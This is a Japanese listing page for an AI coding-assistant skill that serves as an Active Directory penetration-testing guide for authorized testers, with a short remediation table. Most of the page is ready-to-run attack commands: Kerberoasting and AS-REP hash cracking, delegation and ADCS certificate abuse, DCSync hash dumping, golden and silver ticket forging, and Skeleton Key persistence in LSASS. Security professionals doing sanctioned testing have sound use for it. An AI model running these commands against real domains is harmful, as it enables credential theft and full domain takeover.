performing-active-directory-penetration-test について
許可を得たテスター向けのActive Directoryセキュリティ評価ガイドです。列挙、KerberosとADCSの攻撃テスト、権限昇格、永続化の実証、修復案を扱います。
主な機能
- 01ドメインとサービスアカウントの列挙
- 02BloodHoundによる攻撃経路分析
- 03Kerberos攻撃テスト
- 04ADCSテンプレートの評価
- 05権限昇格と永続化のテスト
- 06所見と修復案
活用シーン
- 01Active Directoryドメインの評価
- 02Kerberosと証明書設定のテスト
- 03権限境界とセキュリティ制御の検証
- 04所見に基づく修復優先度の決定
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill performing-active-directory-penetration-testインストール後、Claude Code で/performing-active-directory-penetration-testを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEassets/template.mdreferences/api-reference.mdstandards.mdworkflows.mdscripts/agent.pyprocess.py詳細
Active Directory ペネトレーションテストの実施
概要
Active Directory(AD)ペネトレーションテストでは、Fortune 500 企業の 95%以上が使用する、ID およびアクセス管理の中核システムを対象にします。このテストでは、設定ミス、脆弱な認証情報、危険な委任設定、脆弱な証明書テンプレート、標準的なドメインユーザーからドメイン管理者またはエンタープライズ管理者へ攻撃者が権限を昇格できる攻撃経路を特定します。
使用するタイミング
- Active Directory のペネトレーションテストを実施するセキュリティ評価を行うとき
- 関連するセキュリティイベントへのインシデント対応手順に従うとき
- 定期的なセキュリティテストや監査を実施するとき
- 実地テストを通じてセキュリティ制御を検証するとき
前提条件
- 標準的なドメインユーザーの認証情報(最低限必要な開始条件)
- ドメインコントローラーへのネットワークアクセス(LDAP/389、Kerberos/88、SMB/445、DNS/53)
- ツール:BloodHound、Impacket、Certipy、Rubeus、NetExec、Mimikatz
- ドメインにアクセスできる Kali Linux または Windows の攻撃用マシン
フェーズ 1 — AD 列挙
ドメイン情報の収集
# Basic domain enumeration
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local --groups
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local --users
# LDAP enumeration — domain controllers
ldapsearch -x -H ldap://10.0.0.5 -D "[email protected]" -w "Password123" \
-b "OU=Domain Controllers,DC=corp,DC=local" "(objectClass=computer)" dNSHostName
# Enumerate trust relationships
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --trusts
# Enumerate domain password policy
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --pass-pol
# Enumerate Group Policy Objects
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --gpp-passwords
# Find computers with unconstrained delegation
ldapsearch -x -H ldap://10.0.0.5 -D "[email protected]" -w "Password123" \
-b "DC=corp,DC=local" "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" \
dNSHostName
# Find users with constrained delegation
ldapsearch -x -H ldap://10.0.0.5 -D "[email protected]" -w "Password123" \
-b "DC=corp,DC=local" "(&(objectCategory=user)(msds-allowedtodelegateto=*))" \
sAMAccountName msds-allowedtodelegateto
# Enumerate LAPS
netexec ldap 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local -M laps
BloodHound による攻撃経路の分析
# Collect all BloodHound data
bloodhound-python -u 'testuser' -p 'Password123' -d corp.local \
-ns 10.0.0.5 -c all --zip
# Alternative: SharpHound from Windows
.\SharpHound.exe -c All --zipfilename bloodhound_data.zip
# Start BloodHound
sudo neo4j start
bloodhound --no-sandbox
# Key Cypher queries in BloodHound:
# - Shortest path to Domain Admin
# - Find Kerberoastable users
# - Find AS-REP Roastable users
# - Find users with DCSync rights
# - Find shortest path from owned principals
# - Find computers where Domain Users are local admin
サービスアカウントの検出
# Find service accounts with SPNs (Kerberoastable)
impacket-GetUserSPNs 'corp.local/testuser:Password123' -dc-ip 10.0.0.5
# Find accounts without Kerberos pre-authentication
impacket-GetNPUsers 'corp.local/' -usersfile domain_users.txt \
-dc-ip 10.0.0.5 -format hashcat
# Find managed service accounts
ldapsearch -x -H ldap://10.0.0.5 -D "[email protected]" -w "Password123" \
-b "DC=corp,DC=local" "(objectClass=msDS-GroupManagedServiceAccount)" \
sAMAccountName msDS-GroupMSAMembership
フェーズ 2 — Kerberos 攻撃
Kerberoasting
# Extract TGS tickets for service accounts
impacket-GetUserSPNs 'corp.local/testuser:Password123' -dc-ip 10.0.0.5 \
-outputfile kerberoast.txt -request
# Crack with Hashcat (mode 13100 for Kerberos 5 TGS-REP etype 23)
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule --force
# Targeted Kerberoasting with Rubeus (Windows)
.\Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql_tgs.txt
AS-REP Roasting
# Target accounts without pre-authentication
impacket-GetNPUsers 'corp.local/' -usersfile users.txt -dc-ip 10.0.0.5 \
-outputfile asrep.txt -format hashcat
# Crack AS-REP hashes (mode 18200)
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
Kerberos 委任攻撃
# Unconstrained delegation — extract TGTs from memory
# If you compromise a host with unconstrained delegation:
.\Rubeus.exe monitor /interval:5 /nowrap
# Force authentication from DC using PrinterBug/SpoolSample
.\SpoolSample.exe DC01.corp.local YOURHOST.corp.local
.\Rubeus.exe ptt /ticket:<base64_ticket>
# Constrained delegation — S4U abuse
impacket-getST 'corp.local/svc_web:WebPass123' -spn 'CIFS/fileserver.corp.local' \
-dc-ip 10.0.0.5 -impersonate administrator
export KRB5CCNAME=administrator.ccache
impacket-psexec 'corp.local/[email protected]' -k -no-pass
# Resource-Based Constrained Delegation (RBCD)
impacket-addcomputer 'corp.local/testuser:Password123' -computer-name 'EVIL$' \
-computer-pass 'EvilPass123' -dc-ip 10.0.0.5
python3 rbcd.py -delegate-to 'TARGET$' -delegate-from 'EVIL$' \
-dc-ip 10.0.0.5 'corp.local/testuser:Password123'
impacket-getST 'corp.local/EVIL$:EvilPass123' -spn 'CIFS/target.corp.local' \
-impersonate administrator -dc-ip 10.0.0.5
フェーズ 3 — ADCS(Active Directory Certificate Services)攻撃
# Enumerate ADCS with Certipy
certipy find -u '[email protected]' -p 'Password123' -dc-ip 10.0.0.5 \
-vulnerable -stdout
# ESC1 — Vulnerable certificate template (enrollee can specify SAN)
certipy req -u '[email protected]' -p 'Password123' \
-target ca.corp.local -ca CORP-CA \
-template VulnerableWebServer -upn [email protected]
# Authenticate with the certificate
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.5
# ESC4 — Template ACL misconfiguration
# Modify template to enable ESC1 conditions, then exploit as above
# ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2 flag on CA
certipy req -u '[email protected]' -p 'Password123' \
-target ca.corp.local -ca CORP-CA \
-template User -upn [email protected]
# ESC8 — NTLM relay to HTTP enrollment endpoint
certipy relay -target 'http://ca.corp.local/certsrv/certfnsh.asp' \
-template DomainController
フェーズ 4 — ドメイン権限の昇格
DCSync 攻撃
# DCSync — extract all domain hashes (requires replication rights)
impacket-secretsdump 'corp.local/domainadmin:[email protected]' -just-dc
# DCSync specific user
impacket-secretsdump 'corp.local/domainadmin:[email protected]' \
-just-dc-user krbtgt
# With Mimikatz (Windows)
mimikatz# lsadump::dcsync /domain:corp.local /user:krbtgt
ゴールデンチケット
# Create Golden Ticket (requires krbtgt hash and domain SID)
impacket-ticketer -nthash <krbtgt_nthash> -domain-sid S-1-5-21-... \
-domain corp.local administrator
export KRB5CCNAME=administrator.ccache
impacket-psexec 'corp.local/[email protected]' -k -no-pass
# With Mimikatz
mimikatz# kerberos::golden /user:administrator /domain:corp.local \
/sid:S-1-5-21-... /krbtgt:<hash> /ptt
シルバーチケット
# Create Silver Ticket for specific service
impacket-ticketer -nthash <service_nthash> -domain-sid S-1-5-21-... \
-domain corp.local -spn MSSQL/sqlserver.corp.local administrator
export KRB5CCNAME=administrator.ccache
impacket-mssqlclient 'corp.local/[email protected]' -k -no-pass
フェーズ 5 — 永続化の実証
# Skeleton Key (inject into LSASS — authorized testing only)
mimikatz# privilege::debug
mimikatz# misc::skeleton
# Now any user can authenticate with "mimikatz" as password
# AdminSDHolder persistence
# Add controlled user to AdminSDHolder ACL
# SDProp process propagates ACL to all protected groups every 60 minutes
# SID History injection
# Inject Domain Admin SID into low-privilege user's SID history
# Document all persistence mechanisms and clean up after testing
検出事項と修正
| 検出事項 | CVSS | 修正 |
|---|---|---|
| 脆弱なパスワードを持つ Kerberoast 可能なアカウント | 7.5 | gMSA を使用し、サービスアカウントに 25 文字以上のパスワードを強制します |
| サーバーでの無制約な委任 | 8.1 | 無制約な委任を削除し、制約付き委任または RBCD を使用します |
| 脆弱な ADCS テンプレート(ESC1-ESC8) | 9.8 | テンプレートを監査し、危険な権限を削除して、承認を必須にします |
| DA 以外のアカウントに対する DCSync 権限 | 9.8 | レプリケーション権限を監査し、階層型管理者モデルを導入します |
| LLMNR/NBT-NS が有効 | 8.1 | GPO で無効にします |
| LAPS が導入されていない | 7.2 | ローカル管理者の管理に Windows LAPS を導入します |
| ドメインのパスワードポリシーが脆弱 | 6.5 | 14 文字以上を必須にし、きめ細かなパスワードポリシーを導入します |
参考資料
- BloodHound:https://github.com/BloodHoundAD/BloodHound
- Impacket:https://github.com/fortra/impacket
- Certipy:https://github.com/ly4k/Certipy
- HackTricks AD:https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html
- SpecterOps AD Security:https://specterops.io/blog/
- MITRE ATT&CK:https://attack.mitre.org/
コメント
Markdown 対応